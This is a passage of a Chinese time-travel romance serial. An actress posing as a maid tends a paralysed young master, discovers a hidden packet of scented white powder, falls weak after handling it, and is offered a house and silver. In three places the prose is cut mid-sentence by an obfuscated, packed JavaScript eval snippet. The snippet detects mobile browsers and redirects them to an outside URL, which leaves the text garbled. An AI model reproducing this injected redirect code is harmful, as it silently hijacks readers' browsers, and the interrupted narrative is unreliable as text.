“少爷,如今您身体麻痹,如果夜里有尿意会睡得不安稳,对肾脏的负担也很重,以后睡前都不要喝了。”她一本正经地回答。睡前不喝水,这是常识,即使她没照顾过他也能说出个七八分道理,反而她不太理解,李渔为什么要给一个瘫痪病人睡前喂水。 “你说的是。”他虚心接受,又道,“或许是心理作用吧,虽然知道那只是水,但每晚喝完后,都睡得特别安稳,所以甚是怀念那种感觉。” 就一杯水而已,有这么夸张的作用吗?说得好像安眠药似的。 安眠药?不会吧!叶之萤越来越觉得这个李渔身上有许多深究起来都很怪异的点。 “少爷,一杯水就让您馋成这样啊!乖乖睡吧,明儿一早渔儿就来给您喂水喝!” 这些日子没有被他发现异常,她渐渐大胆起来,从一开始每句话都要深思熟虑才说到现在脱口而出,用词也是越来越随意。 “你最近愈发开朗了!”床上的人看着她,脸上浮现出淡淡的笑意。 “啊?”她又被吓了一跳,突然意识到自己的失言,赶紧闭上了嘴。 他原本凌厉的目光正被一层昏黄的烛光覆盖着,意外的温柔起来,清瘦的脸庞也在光影的作用下更加棱角分明。叶之萤只看了一眼,就晃了一下神。 只见他微微蹙眉,眼神中充满了疑惑:“你怎么了?” “没事,我刚才……脑……脑子里在想别的事,您突然说话,吓了我一跳。”她慌忙解释。 “以往你总是心事重重,刚见你开朗了些,怎么又有心事?” “与父母天各一方,难免会思念亲人,渔儿没事,少爷,您无需为渔儿担心!”她只好拉出李渔的父母做挡箭牌。 “如今我身体渐好,过些日子,你回蒙州去看看他们吧!”他收起了刚才的温柔,言语间又开始和她保持距离。 叶之萤赶紧装出感激的样子,硬挤出些泪花来,连连道谢:“谢谢少爷!谢谢少爷!” 14. 诡异的暗香 一回房,叶之萤就立刻翻箱倒柜,想找出温其玉口中所说的香料和安神水,可把屋子翻了个遍都一无所获。 她又想,既然是香的,那总该闻得到味道吧?于是又猎犬附体,柜子、床下,甚至桌子都嗅了个遍,可是所嗅之处全都是正常的味道,完全没有闻到一丝香气。 对此,她仍然心生疑惑:为什么温其玉好端端会提到香薰?既然提了,就肯定有! 她担心这个隐患再次爆雷,会因此被温其玉发现自己是假的,便趴在餐桌上,绞尽脑汁思索那香薰还能藏到哪里,手指则无意识地叩着桌面。 突然,当她的手指敲打到桌面某个位置时,发出的声音居然和前面不一样了! 她腾地一下探出身子,眼睛几乎贴在桌面上,仔细检查那个位置,没有任何异样。又用指关节再敲了几下,确定桌子中间有直径约二十厘米的部位是空心的。 她钻到桌子下,抬头一看,桌面底下果然有一个暗格,便小心将暗格打开,里面藏着一包东西! 她越来越好奇,李渔的身上到底藏着什么秘密?于是她将那包东西从暗盒里取了出来,放在桌上。 那东西很薄,厚度目测不过一厘米,被一条豆绿色的手帕包裹着,叶之萤用手轻轻按了按,是软的。 里面到底有什么?直觉告诉她这包东西一定藏着什么秘密,她很想打开一探究竟,可是一双手在帕子上徘徊了许久,却始终觉得不妥,毕竟自己只是这间屋子的暂住者,屋子主人的东西是不该随便动的。 她思量许久,端起桌上的茶水喝了好几杯,好奇心始终被道德感所约束。许是心不在焉,放下茶杯时,一不小心,竟将几滴茶水撒在了手帕上,手帕上顿时漾起几朵显眼的茶水花。 这下遭了!茶水如果渗入内部,就会污染里面的东西。如果这东西真有问题,那就是必须保护好的证物! 短暂犹豫后,她还是决定先把手帕打开。刚打开一角,便露出了黄色的牛皮纸。彻底打开后,她发现黄色的牛皮纸上星星点点散着一些细细的白色粉末,估摸着是里面包着的东西从纸的缝隙中渗出来了一些。 这是什么神秘物质,需要藏得这么深?眼看谜底越来越近,她也愈发好奇了。 她小心翼翼将散落在纸上那些粉末全部收集到手帕上。心想,既然没打开牛皮纸,就不算偷拿她的东西。 正在为自己的机智得意时,她突然闻到了一股淡淡的香味,那香味若隐若现,很是好闻,循着味道嗅去,是手帕发出的味道。 难道这白色粉末就是温其玉说的香薰?这下对上了! 她心中一喜,又把鼻子凑到牛皮纸上仔细去闻,可闻了很久,却什么味道都没有闻到。又用手捻了一些粉末在指尖,凑近去闻,同样没有味道。 这是什么原理?为什么手帕上有香味,牛皮纸和白色粉末却都没有? 那手帕的香味到底是从哪儿来的? 李渔为什么要把它藏这么深? 还有李渔为什么要在这桌子里凿一个暗格? 她到底有什么见不得人的秘密? …… 问题一个接一个从叶之萤脑海中蹦出,心中的疑惑亦越来越多,直觉告诉她,这包东西绝对没那么简单,但到底有些什么秘密,她目前还不得而知。 一阵困意席卷而来,头也开始有些疼。她心想,既然这些问题一时半刻也想不明白,干脆明日再想,便把收集到的粉末收好,将杯中剩的水一饮而尽,又将那包东西原样放回,就上床睡觉了。 这天夜里,她睡得极为安稳、舒服,来这里这么久,她第一次心无杂念地睡到天亮。 次日起床,她觉得自己好像变成了一朵飘在半空的云,轻飘飘、软绵绵的。起初,她完全没有多想,只当是睡得太沉,身体还没有完全苏醒。 拖着无力的身体洗漱完毕,就照常去温其玉房里换阿力,正好赶上温其玉吃早餐。依照惯例,她要先将小木桌摆好。可今日的她却怎么也抬不起那张往日稍微一使劲就能抬起的桌子。 温其玉一眼便看出了她的不对劲:“你身子不舒服吗?” 她依旧没有在意,只是摇摇头道:“没事,可能刚睡起来,还没清醒。” 又去端餐盘,可今日的餐盘似乎是往日的十倍重,端起来还不到十公分,手腕一软,那盘子连带上面的饭菜都“啪”的一声又掉回了桌上。 身后的温其玉立刻提醒她:“当心你的手!” “没,没,没事!碗没碎!”这时,她才意识到事情的严重性。 起床明明已经半个小时了,这浑身无力的情况非但没有好转,反而还越来越严重了,不会是得什么病了吧?不会是中毒了吧? 突然,又有一个想法从脑海中闪过:难道是因为……自己要回去了? 对!一定是!事出反常必有妖,一定是快要回去了!终于能回去了! 想到这里,兴奋迅速取代了恐惧,她竟“噗嗤”一声笑了出来,却因此吓坏了床上的人。 “你到底怎么了?”他看着她,眼神充满担忧,旁边的阿力表情更是诧异。 嗨,他俩怕不是以为自己脑子进水了!叶之萤赶紧收起笑,提醒自己:别得意忘形,你现在还是李渔呢,站好最好一班岗,别在温其玉面前露出破绽。 于是简单回答:“没事没事,就是有点儿累,可能是昨晚没睡好。” “既然不舒服,就回房休息。”温其玉道。 “好,我喂您吃完早餐就回去。” 阿力不敢再让她动手,主动过去端了餐盘,又将碗盘悉数于小桌上置好。 叶之萤坐在床边,打算喂温其玉吃饭。谁知刚端起一碗粥,那碗从手里掉了出去,滚烫的粥撒了她一腿,烫得她从床上一跃而起,谁知双腿也像没了骨头支撑似的,刚站起来就“扑通”跪地上了。她又扶着床沿想把自己撑起来,发现双手亦无半分力气,实在撑不起身体,只能狼狈地趴在地上。 温其玉和阿力彻底被她吓懵了。 “快扶她起来!”还是温其玉先反应过来。 借助着阿力的搀扶,叶之萤艰难地站起身来,几乎是被阿力架着,才抖着双腿挪到软榻坐下,即使这样,上半身依旧无力支撑,只好又躺在榻上。 阿力迅速跑去叫林大夫。 此时,叶之萤心里既兴奋又害怕,她不确定自己现在这样的症状到底是中毒的症状,还是回家前的征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991637|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兆。若是回家自然是好的,可万一不是呢?自己这是怎么了? “你先别慌,别害怕,有林大夫在,你不会有事的!”温其玉安慰她。 “嗯,我不害怕,你也别担心,没事的!”她冲他笑了一下。叶之萤知道,他和自己同样紧张,不过是故作镇定罢了。 不过几分钟时间,林大夫就来了。摸完脉象后,同样脸色骤变,看得叶之萤心里又“咯噔”一下。 “渔儿姑娘,你这几日可有食用什么特别的东西?”林大夫问她。 “没有啊!”她不假思索地摇头,看林大夫这反应,自己恐怕是中毒的概率更大些了,她的心顿时凉了半截。 “那可有接触什么特别之物?” “也没有啊!我每天照顾少爷,接触的都是饭啊、药啊这些的,晚上回房就睡觉了,也没有接触什么特……” 她突然停下。桌子里的白色粉末?! 这些天,自己唯一接触过的不明物品就只有它了!而且昨晚刚接触,今天就出现了症状! “李小姐,可是想到了什么?”林大夫见她话说一半就停了下来,忙问她。 “噢,我刚又仔细回忆了一下这几天的生活情况,确定没有接触什么特别的东西。”她并不清楚林大夫的底细,便不着痕迹把白色粉末的事搪塞了过去。 “那就怪了,你的脉搏摸上去竟然和温少爷的很是相似!”林大夫面色凝重地摇着头,看起来很是困惑。 “与我的相似?这是何意?”听到这句话,温其玉瞬间脸色大变。 “少爷,别紧张,先听林大夫说!”即使到了这个时候,叶之萤还不忘自己李渔的身份,尽责地安慰着温其玉。 “温少爷放心,渔儿姑娘的脉象虽与您的相似,但据我判断,渔儿姑娘的痹症应该只是暂时的,喝几副药,休息几日便可恢复!” 叶之萤提到嗓子眼的那颗心跟着这话一起落了地。床上的人亦是。 “阿力,我给渔儿姑娘开个药方,按此药方煎药,一日三次,喝三日即可。”林大夫匆匆几笔,就写好了一张药方,叶之萤透过纸的背面看到上面似乎写着…… 地龙?! 吓得她花容失色,立马拒绝:“不……不……不……不用……不用了!我不喝药!” 阿力不解地问:“为何?不喝药如何能快些好?” “我……我……觉得不严重,休息两日就好了,还没到吃药的程度,更何况厨房的人做一日三餐本就辛苦,渔儿不想再增加她们的负担了。”她把能想到的理由都说了一遍。 可温其玉却道:“温宅人手充足,你不必对此感到抱歉。” 又交代林大夫按药方去抓药。 她装作淡定道:“少爷,不用麻烦了,我真的不严重,不用喝药的!您看,我还能动,还能起来,不用喝药的!” 说着,就想扶着榻边坐起来。谁知这身体一点面子都不给她,胳膊一点力气都没有,撑了半天都没起来。 “病了就要喝药,别任性!”温其玉的语气不容她再置疑。 看着他略带威压的目光,叶之萤最终还是没有再拒绝。没关系,她想,反正药端过来,喝不喝就是自己的事了! 15. 天降诱惑 叶之萤被阿力背着回房休息了。阿力既要照顾自家少爷还要照顾她,两个房间来回跑,忙得不可开交。 中午,阿力送来了药:“叶小姐,你自己能端着喝吗?” 没人的时候,他还是叫她叶小姐。 “我不喝,这几天这药你直接找个地方倒掉就行,不用给我端来了!”她咧着嘴,满是嫌弃。 “为何?”他疑惑不解。 “这药里面有地龙啊!太恶心了!怎么喝得下去!”只是说说,她就已经头皮发麻了。 阿力恍然大悟:“原来你是惧怕地龙啊!可是,你如今这状况,不吃药也不行啊。” 阿力将手里的药碗顺手放在了餐桌上。 “你没听林大夫说吗,我这个不严重,可以恢复的,不吃药顶多就是恢复得慢点儿,没事的。” 说完,她瞥了一眼餐桌上的药碗,又想到一件事:“唉,对了,你上次说厨房里有老鼠,是真的假的?” “真的啊,怎么了?” 她往门外瞥了一眼,确定没人在门口,压低声音问:“能给我捉只老鼠吗?” 阿力眼睛瞬间睁了老大:“你要老鼠干嘛?” “嘘!”她示意他小点声,“我……养着玩呗!” “什么?你养老鼠?”他大呼起来。 “小声点!养老鼠怎么了?不行吗?” “你连地龙都怕,不怕老鼠啊?” “地龙是地龙,老鼠是老鼠!” “你老实告诉我,到底为何要养老鼠?我得根据你的意图判断要不要帮你。”阿力也并不好骗。 “我有用,阿力,你一定要帮我!”她的语气郑重起来,“我昨天发现了一件奇怪的事情,这件事需要用老鼠去证实,如果到时候能证实我的猜想,我保证第一时间告诉你原因!你相信我!” 叶之萤和阿力认识不过半月有余,还没有到可以完全信任的程度,从理论上讲,那包药粉除了她和温其玉之外,这宅中的任何一个人都有可疑,她不能打草惊蛇。但在这个陌生的院子里,阿力确实是她唯一能指望的人了。 “你的计划会不会对少爷不利?”他也没有遮掩,问出了自己最在意之事。 “不会,我发誓,绝对不会!”叶之萤坚定地看着他,希望他能从自己的眼中读出真诚和善意。 “好!我答应你!但我同时也要警告你,倘若你打的是少爷的主意,我阿力断不会饶你!我也是曾跟着少爷上阵杀敌的,你休要在我眼皮子底下耍花样!” 这是一个叶之萤从没见过的阿力,坚定、凶狠,令人不寒而栗。但她并没有被他的威胁吓到,因为她是坦荡的。 “我明白!”她说。 叶之萤的痹症第二日就好了大半,第三日就完全康复了。但温其玉却执意让她再休息两日。直到第五天,她才重新上岗。 看着阿力衣冠不整,双眼布满血丝的疲惫样子,她捂嘴偷笑:“我不过休息几日,你怎么嫉妒得眼睛都红了!” 说完,又意识到自己刚刚过于活泼了,忙收起了笑。 这个李渔,是她从业近十年演过最累的一个角色,没有之一! “好渔儿,快别打趣了,这几日替你,日夜不休,可把我累坏了!”阿力见她进门,伸着懒腰就要往外走。 二人擦肩时,叶之萤趁机低语:“别忘了,老鼠!” 阿力亦小声“嗯”了一声作为回应。 二人的耳语被温其玉尽收眼底,怕他起疑,叶之萤又大声对阿力说:“今晚我守夜,你不用来了。” “好嘞!”阿力应了一声,便回房补觉去了。 “这几日你休息的如何?身体可完全康复了?”温其玉问她。 “少爷别担心,我已经完全好了!”他已经吃完了早餐,她便走到他床前为他按摩身体。 “这几日都是阿力帮少爷按摩,少爷觉得我和阿力谁按得更好?”五天没见,叶之萤故意和他套近乎,想与他拉近些距离。 他看了她许久,直到她脸上浮现出显而易见的困惑,才笑了起来:“你按得很好。” “那……”她突然话锋一转,“听说少爷此前为了渔儿,跟那位叶小姐相处得很不愉快。那位叶小姐,是个怎样的人?” 她倒要听听,他预备怎么评价自己。 温其玉原本松弛的目光在听到这话后突然一紧,而后开口道:“那位叶小姐,脾气很大。” 哼!果然没好话!叶之萤在心里白了他一眼。 而后……她怀疑自己恐怕是眼花了,他的眼中竟然浮起了一丝……歉意?! “她虽落难至此,但遇事不慌,亦不抱怨,是个言而有信之人,只是……我……” “你怎么?”这个回答令叶之萤着实意外了一把。她本以为温其玉肯定恨死自己了,万万没想到他居然会夸自己。 如今她的心思都被温其玉接下来要说的话所吸引,连手上按摩的动作已经停了都未发觉。 谁知,眼前的人却只是浅笑一下,道了一句“没什么”,便结束了话题。 虽然没有套出他所有的心里话,但那两句夸奖还是在叶之萤内心起了极大的波澜。她又想到自己那日对他说的那些话,不知道对他造成了多大的伤害?原本她已经内疚得不行,只是苦于一直没有机会澄清道歉,若是他此时说恨她,或者骂她几句,她心中的内疚倒能因此减轻几分,可他偏偏没有!听他这样说,她更悔恨交加了,恨不得现在就跟他道歉,告诉他那些话都是自己发疯说的疯话,他一个字也不要听!可自己现在还是李渔的身份,又以什么立场道歉呢? “你怎么了?”床上的人关切地问她。 她一抬头,就对上了他的双眼,就更自责了。 “我……那个……”她紧张得语无伦次,两只手还放在他的腿上,此时也慌乱得不知是该挪走还是继续按。 “你可是身体还未完全恢复?”床上的人看到她的样子不免担心起来。 “不是!不是!”她忙摆手否认,“我身体已经好了,你不用担心。” “那便好!”眼前的人神色随即放松下来。 “我……我只是……只是……”那句“对不起”被她使劲咽了回去,可体内似乎有一只大手,又用更大的力气将它推了出来,它被推出了声带,推到了齿尖,又从双唇之间推了出来,“想跟你说声‘对不起’。” 叶之萤知道自己不该说的,但心中的内疚感快要将她憋疯了,她一刻也忍不了了! 果然,温其玉目光一滞,诧异问道:“为何?” 她怕露出破绽,只好继续撒谎:“我不在的那几日,少爷与那位叶小姐发生的事,我都听阿力说了。都怪我自己粗心大意,误食鼠药,闯了这么大的祸,害您担心,害您……害您被那位叶小姐……” 温其玉却打断了她的话,他的声音明明淡得如同一缕清风,却彻底在叶之萤心里泛起了滔天巨浪。 他说:“叶小姐的事,本就是我挑衅在先,是我的错,不怪她。” 不怪她?这三个字一出来,叶之萤的眼泪顷刻间便涌了出来,速度快到她根本来不及遮掩,就那么当着温其玉的面流了下来。 “你今日到底怎么了?”温其玉眉头紧蹙,眼神却依旧柔和。 “我……我一想到这次差点再也见不到少爷了,就后怕得不行。”刚刚的一时良心发现,现在要靠无数个谎言来圆,但叶之萤并不后悔,她想,若是能借此机会消弭那些话对温其玉的伤害,那便是值得的。 于是她又道:“少爷,那位叶小姐说的话全都不对,您莫要听她胡言乱语,渔儿从没想过要离开少爷,也从没当您是麻烦,渔儿喜欢伺候您,喜欢待在您身边,喜欢日日都见到您,渔儿的生活因有了您才完整,渔儿此生别无他求,惟愿一直陪在少爷身边。” 温其玉果然被她哄得开心:“谢谢你!” 搬走了心中的一块巨石,叶之萤瞬间心情舒畅,又要主动帮他按摩,却被他拒绝:“先不按了,书桌上有两张地契,你去拿过来。” 她按他说的将书桌上的两张地契拿了过去。 他示意她坐在床边,而后对她道:“我在京城梧桐苑有一间宅子,自购置此宅后便一直未得空居住,京都冬日阴冷绵长,我这副身子,恐怕日后都没机会再住了,如今我便将此宅赠于你,你只需在契尾那页按上你的手印,这几日,我会派人去官府盖上官印,这宅子便是你的了。除此之外,再赠你白银五百两,待你日后觅得夫婿,这些就当作娘家的陪嫁吧。” 什么?一套别墅,还有五百两银子!自己没听错吧?叶之萤被他出手之阔绰惊得下巴差点要掉了!听闻李渔一个月的工资也不过三两,五百两银子……要给温其玉做十四年丫鬟才能挣到啊!她拿着那两张地契翻来覆去地看,若自己真是李渔,恐怕此时已经难抵诱惑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991638|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她毕竟不是李渔,总有一天,她会离开这里,重新回到自己原本的世界,从此和眼前的人天各一方、再无交集,那宅院和银两与她注定无缘。反倒是现在,自己刚说完要对他不离不弃,一生陪他左右,怎么好意思转身就收他的房子和钱?那不是打自己的脸吗? 没办法,只好慷李渔之慨,替李渔立下一个“情义值千金,金钱如粪土”的重情人设,希望那李渔回来了不要怪她:“少爷,你是要赶渔儿走吗?渔儿不要什么宅院,我只要一直陪着少爷,求少爷成全!” “不是赶你走,只是觉得这近一年时间里,你没日没夜地照顾我,受累了!”他解释道。 知恩图报没有错,可也不至于一出手就是京城的一套别墅吧!况且这李渔身为丫鬟,虽说是受累了,但一来这累是她主动上赶着受的,二来她也是领了工资的,自己到底该不该再替她收下这房子和银子?李渔本人会收吗?叶之萤着实不敢随便替李渔做决定。 温其玉又道:“你如今已到了该婚配的年纪了,不该再一直守在我身边,倘若因此耽误了你的终身大事,便是我的罪过了!不日我便会销了你的奴籍,还你自由之身。” …… 这又唱的是哪一出?叶之萤听完后就懵了。他不是喜欢李渔吗?前些日子不是非要让自己假扮李渔吗?不是为了李渔都不想活了吗?这,这,这会儿怎么又要还李渔自由了? 李渔想不想自由她不知道,她只知道,自己不能离开温宅! “少爷,为何让渔儿走?照顾少爷,渔儿一点都不觉得累,渔儿也不想嫁人,少爷是知道渔儿的心意的,渔儿不走!” 走是不可能走的,若是温其玉执意让她走,她也只能借着李渔的身份死缠烂打了。 虽然照顾温其玉确实很麻烦,但是这一个月以来,她已经慢慢适应了在这里的生活。 这宅子虽大,人际关系却相当简单,可以说除了温其玉和阿力之外,不用费心再和其他人搞关系,而阿力对她也很好,甚至连温其玉的态度都一百八十度大转弯,突然间好得让她感动。 想来想去,现在离开这里去另外一个陌生的地方,都绝对不是好的选择。 更重要的一点,那个药粉的秘密还没有解开,怎么能在这时候走呢? 温其玉却在此时对她坦白了自己的心意:“抱歉,前些日子,我将自己对生的渴望都投射在你身上,并错误地将这种渴望当作对你的感情。这几个月自私将你留在身边,我自知罪孽深重,但如今既已醒悟,便不可一错再错,再拖累你往后的人生。” 叶之萤总算懂了,怪不得他最近对自己一点也不亲昵,之前还担心是自己暴露了,原来只是他不喜欢李渔了! 只是她没想到,这人对待感情居然如此冷酷无情——补偿到位,干脆利落,一点儿也不拖泥带水。 虽然被甩了是有点可怜,但这李渔也不亏啊,那可是京城的一套别墅啊!那可是十四年的工资啊!想到这里,叶之萤又觉得似乎应该替李渔接受这些馈赠,否则这小姑娘不是吃亏了吗? 但是要怎么接受才显得不突兀呢?只怪自己不认识李渔,实在不知道她会作何选择,只是,既然她对这温其玉一往情深,恐怕也没这么容易接受温其玉不喜欢自己这个现实吧? 叶之萤又演了起来:“渔儿明白少爷的想法了,但也请少爷听一听我的想法。渔儿千里迢迢去江南找您是因为崇拜您,陪您来此处照顾您也是因为如此,但这都是我自愿的,并不是必须要您也对我产生同等的感情,您不必为此感到自责。您的心思渔儿已经明白了,以后,渔儿对您也不会有其他的想法,只尽心尽力做一名丫鬟该做的事,您千万不要有心理负担,把我当普通丫鬟看待就好!” 谁知,温其玉却给她出了道“难题”:“你可以暂时先留在温宅,只是你得答应我收下这间宅子和银票。” 也许在温其玉来看,这是一道鱼与熊掌不可兼得的选择题,可对叶之萤来说,既能继续留在这里,又能替李渔姑娘收下宅子和钱,没有比这再完美的解决方案了。 她“勉为其难”在契尾上按了手印,将地契重新装进书桌上的信封里,又将一旁的银票也收了进去。 “忘了跟你说,关衙内明日便到了。”床上的人看似随意地提了一嘴。 “关衙内?”信封滞在空中,叶之萤心里一紧。 这关衙内以前跟李渔接触过,到时不会看出什么吧? 16. 那株红花 这天夜里,叶之萤留下来照顾温其玉。按照惯例在睡前先为他翻了身,再起来时,发现竟然天已蒙蒙亮。她“腾”的一下从榻上坐了起来,半睁未睁的眼睛第一时间看向面前那张床。 “睡好了吗?”床上的温其玉笑着问她,看样子早就醒了,眼里有着她看不透的情绪。 她顾不上回答,急急忙忙下榻跑到他床边,由于还没清醒,几步路跑得跌跌撞撞,差点摔倒。 “慢点,别急!”他说得不紧不慢。 她着急忙慌为他换了个姿势后才抱怨起来:“夜里为何不叫醒我?” 他没有直接回答她的问题,反而问她:“我是不是很麻烦?” 叶之萤心里“咯噔”一下,对于那些话,他还是没能释怀吗? 她只好又开导他:“少爷怎么会这么想呢?当年如果不是少爷救了我,哪里还有如今的渔儿?少爷不仅救了我,还救了邺国千千万万的百姓,在渔儿心里,少爷永远都是英雄,不是麻烦!人生漫漫,自然会有跌宕起伏,少爷如今确实是身在低谷,但没有人会永远被困于泥泞之中。您待人宽厚,身边的人都蒙您恩惠,我们不怕您麻烦,我们都愿意照顾您一辈子!只盼您也愿意给我们机会!日后您身体恢复了,不需要我们了,我们也赖在您身边,哪儿也不去,就烦着您,可好?” 入行十年,叶之萤免不了要参加大大小小的酒会和饭局,这十年间,她从一开始在酒桌上谨小慎微、唯唯诺诺的大学生,到后来与大佬们游刃有余、谈笑风生的社会人,这种改变到底是积极的成长还是被动的妥协,她一直说不清。但今天,它让她可以自然的对着温其玉说出这些话,能够安慰到他,她第一次真诚的感谢生活曾经对她的历练。 床上的人看着她,眼神渐渐有了光彩,许久之后,他笑了起来,眼下的一对卧蚕也顺势变得明亮,眼波流转,煞是迷人。 讨厌,又被他迷住了! “从前我对你的认识,似乎有些偏颇。”他说。 不知是不是因为心虚,叶之萤总觉得他这话里另有深意。 那个李渔能说得出这一番话吗?她有些拿不准,但说都说了,也只能继续亡羊补牢了:“那个……我……我只是有感而发,昨日少爷让我离开,我若再不表达自己的心意恐怕就来不及了……” “好了,昨夜睡好了吗?”他显然不打算与她继续逗乐。 当然睡好了,一夜都没醒…… “嗯。”她心虚地点头。 “叫阿力过来为我洗漱穿衣,待会儿你再将屋子简单打扫一下。”他吩咐道。 怕是那位关衙内快到了。 “阿力,少爷叫你过去为他洗漱穿衣!”叶之萤站在阿力房间的窗外,将头从开着的窗户伸了进去。 “知道了,我马上就过去!”阿力应和着。 “嘿!过来!”她朝他一挥手,小声叫他。 “何事?”他皱着眉走近窗边。 “那个关衙内,你了解吗?我现在有点慌,不知道以前李渔是怎么和他相处的,万一露馅儿了怎么办?”眼看人马上就到了,叶之萤心里是愈发忐忑不安,指望着阿力能给她提供些有用的建议应付那位关衙内。 谁知,阿力却说:“这个我真不知道,渔儿在关府的那段日子,我陪少爷在江南老家,一年多未与他二人见过一面。” “什么?那我怎么办?”她一听阿力也没辙,急得直用手拍窗棂。 “你……你先别急!容我想想!” 着急的叶之萤已经等不及他想了:“哎呀!要不干脆跟你家少爷坦白吧!当初我也是为了救他才被迫骗他的,如今眼看他身体渐好,人也精神了,而且……我发现他对李渔的感情也淡了,干脆告诉他实情吧!省得我每天心惊胆战,明明是在做好事,却搞得像做贼似的!” 冒充李渔本来就是缓兵之计,她觉得如今也是时候说出真相了。 岂料,阿力却一点也不认为这是个好主意,忙劝阻她:“叶小姐,现在可不能说啊!少爷身体才刚刚好转一点,元气尚未恢复,真的经不住接二连三地打击了,我求求您了,您再给他一些时间,好吗?” “那也不能日复一日的让我冒充李渔吧?都一个月了,你知道我每天面对他小心翼翼地演戏有多辛苦吗?生怕哪句话说错了被他发现,太累了,我真的演不下去了!”叶之萤身体趴在窗台上,痛苦地叹气。 “叶小姐,你有没有想过,若是现在跟少爷坦白,你骗了他一个月,他可还会让你待在这宅子里?你孤身一人,若离开这里,还能去哪里?”阿力又开始威胁她。 “我……我骗他的目的也是好心为了救他好吗?又不是对他骗钱骗色!我的牺牲也很大啊!他还不至于如此是非不分、善恶不明吧!”她脑子忽而一转,突然又想到了另一个问题,“不过你说得也对,如果他知道我不是李渔,就算不赶我走,也肯定不会让我再照顾他了,不照顾他的话,我和他非亲非故,又怎么好意思再在他这里蹭吃蹭住呢……这可怎么办?” 阿力听她言语似有松动,赶紧推波助澜:“是啊!叶小姐不知道何时才能想到办法回去,不如在未想到法子之前,就先这么着,虽然是累了点,但至少有吃有喝,无人欺负,总比外面强百倍!更何况,你连少爷都能瞒住,还怕什么?关衙内这个人玩世不恭,胸无城府,心地纯良,只要你能管住嘴,不该说的别说,瞒住他应该问题不大。” “真的?”被阿力哄了几句,叶之萤就下定了决心,继续瞒下去。 “真的!放心吧,没事的!”他拍了拍她的肩膀,一副胸有成竹的样子。 阿力对她的演技放心得似乎比她自己还放心,她无奈地摇了摇头,不知是不是该夸赞他的眼光…… 之后,她按温其玉的吩咐回房简单收拾了一下,却意外在梳妆台台面上发现了一根不属于李渔的头发——李渔的头发又软又细,那根却是又黑又粗,倒像是……阿力的! 阿力昨晚进了她的房间! 他好好的进来做什么?还特意趁她不在的时候进来,是来调查她吗?可是不对啊,自己和阿力不已经是一条绳上的蚂蚱了吗?他应该很信任自己才对啊! 那……是温其玉命他来的?也不对啊,若是温其玉怀疑她,阿力更应该提前给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991639|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通风报信才对,没理由背着她啊! 不过于她而言,今日的重头戏是先应付过那位关衙内,旁的事可以后面再说。她只好将此事先按下不表,又去将温其玉的房间简单收拾了一番。 温其玉的房间每天都打扫,其实很干净,桌椅板凳随时都摆放在各自的位置,桌面地面一尘不染,甚至连盖在他身上的被子都能保持一整天没有褶皱的状态,这间屋子里的一切都是那么整齐,整齐得近乎冰冷,唯独缺少了一抹生机。 连屋子里特有的那股清新味道都带着淡淡的苦涩,虽让人宁静,却少了些活泼。 于是她去院子里采了些好看的鲜花和配叶,将它们插进了书桌上那个青绿色的瓷花瓶中。这一束鲜艳夺目的花,一下子让这间屋子亮堂了起来。周围苦涩的空气也被满满的幽香驱散。 叶之萤从来不缺收到各种美丽花束的机会,虽然她本身对花的品种了解的不多,也不懂插花,但因为见得多,也能在关键时刻依葫芦画瓢地插一束花。 “你摘了什么花?”是温其玉的声音。 他今日将头发全部高高束起,用一只洁白通透的玉簪穿过发髻。看起来比平时精神不少,而没有了头发的遮挡,他的面部线条则更加的凌厉和硬朗。 身上也不像平日那样只是穿着中衣,而是穿着月白色长袍,通体同色云纹刺绣,布料泛着微光,显得贵气十足。 他靠坐在床上,双手随意置于腿上,身体两侧各放了一个与床单同色的圆形硬靠垫,虽然是防止他倒下才放的,但看起来却并不突兀。 叶之萤得意地将花瓶举起,对着他晃了晃,说:“我也不知道,总之是好看的花,你看,这花开得多鲜红啊,放在这里,屋子一下就有生气了!喜欢吗?” 这株红色的花是她从院子里的一棵树上摘下来的,那棵树上长满了鲜红的花朵,老远望去一朵一朵像烟花那样激烈地绽放着,煞是耀眼夺目。走近一看,花瓣一层一层地叠在一起,每一瓣的形态都几乎相同,间距也完全一样,它们排着有序的队形盛开着,标致极了。这花她看着面熟,以前一定是见过的,却叫不出它的名字,不过没关系,它的名字并不重要,重要的是它的美貌! 温其玉脸上却浮现出一抹怪异的表情,但很快又恢复如初,然后轻轻地点了点头。 叶之萤看他喜欢,便来了兴致:“院子里的花好多,开得都特别好,你喜欢的话,以后我天天换着花样给你插花,那些花开在外面你都看不到,不如摘下来摆在屋子里给你欣赏!” 她一边跟他说话,一边举起花瓶得意地欣赏自己的杰作。 “你的花插得很好,和谁学的?”他的语气很温柔,可这问题听着却不怎么对劲。 